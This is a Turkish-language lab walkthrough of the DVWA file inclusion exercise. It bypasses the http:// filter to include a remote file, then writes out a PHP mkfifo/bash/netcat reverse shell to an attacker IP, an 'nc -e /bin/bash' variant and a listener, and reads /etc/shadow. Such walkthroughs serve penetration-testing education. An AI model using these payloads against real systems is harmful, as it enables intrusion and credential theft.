Yazıda kullanılan Damn Vulnerable Web Application (DVWA) sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/
Dosya Dahil Etme (File Inclusion) zafiyeti yerel (Local FI) ve uzak (Remote FI) olarak ikiye ayrılabilir. Yerel dosya dahil etme zafiyeti barındıran uygulamada, normalde sunulmayan ama işletim sistemde bulunan herhangi bir dosya (uygulama kullanıcısı yetkileri ile) okunabilir. Bunun yanında uzak dosya dahil etme zafiyeti barındıran uygulamada ise farklı bir sunucunun sunduğu bir sayfa zafiyetli uygulama tarafından sunulabilir.
Dosya dahil etme zafiyetini içeren uygulama sayfasına erişmek için sol kolondaki “File Inclusion” bağlantısına tıklanabilir.
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=include.php
Zafiyete sebep olan “page” parametresi ile varsayılan olarak uygulama sunucusunun web kök dizinindeki “include.php” dosyası sunulmaktadır. Yeterli kontrolün yapılmaması sebebi ile yerel dosya dahil etme zafiyeti oluşmakta ve bu zafiyetin istismar edilmesi ile işletim sistemindeki bir dosya okunabilmektedir.
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=/etc/hosts
Benzer olarak; yeterli kontrolün yapılmaması sebebi ile uzak dosya dahil etme zafiyeti oluşabilir, bu zafiyetin istismar edilmesi ile başka bir sunucudaki bir dosya bu uygulama üzerinden sunulabilir. Ancak “page” parametresinde bu zafiyetin doğrudan istismar edilemediği görülmektedir.
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=https://www.google.com.tr
Bu zafiyeti istismar etmek için deneme yapıldığında “page” parametresine “http://” veya “https://” yerine “htthttp://p://” veya “htthttps://ps://” atandığında uzak dosya dahil edilebildiği görülmektedir.
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=htthttp://p://10.10.2.133/dosya.html
Yukarıdaki örnekte “dosya.html” sayfasında standart bir metin bulunmaktadır. Bunun yerine bir PHP ifadesi bulunsa idi zafiyet barındıran sunucuda bu dosya çalışacaktır. Zafiyeti barındıran sunucunun komut satırına erişmek için “nc” aracı aşağıdaki gibi kullanılabilir.
<?php
echo shell_exec(“rm /tmp/olmayanDosya;mkfifo /tmp/olmayanDosya; cat /tmp/olmayanDosya | /bin/bash -i 2>&1 | nc 10.10.2.133 13579 > /tmp/olmayanDosya”)
?>
Not: Zafiyetli sunucudaki “nc” aracı sürümü yeni olsa idi “-e” parametresini deskteklerdi ve aşağıdaki gibi bir ifade de kullanılabilirdi.
nc -e /bin/bash 10.10.2.133 13579
Saldırgana ait Kali sunucu da TCP/13579 portuna gelecek olan isteği “nc” aracı ile dinleyebilir.
nc -lvp 13579
Zafiyetli sunucuda uzak bilgisayarda bulunan komut satırı elde etmek amacı ile hazırlanmış PHP dosyası dahil edildiğinde, Kali sunucuya uygulama kullanıcısı hakları (www-data) ile ters bir bağlantı oluşacaktır.
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=htthttp://p://10.10.2.133/kabuk.txt
id
hostname
head -3 /etc/passwd
head -3 /etc/shadow
Not: Bazı durumlarda dosya uzantısına ekleme yapılabilmektedir. Bu gibi bir durumda dosya sonuna “%” konması gerekebilir.
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=htthttp://p://10.10.2.133/kabuk.txt%
İlgili Kaynak Kod:
1 2 3 4 5 6 7 |
<?php $file = $_GET['page']; // The page we wish to display // Bad input validation $file = str_replace("http://", "", $file); $file = str_replace("https://", "", $file); ?> |
Kaynak:
http://www.includekarabuk.com/kategoriler/DVWAUygulamasi/Ders-9—File-Inclusion-Medium-Level.php
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://pentesterlab.com/exercises/php_include_and_post_exploitation/course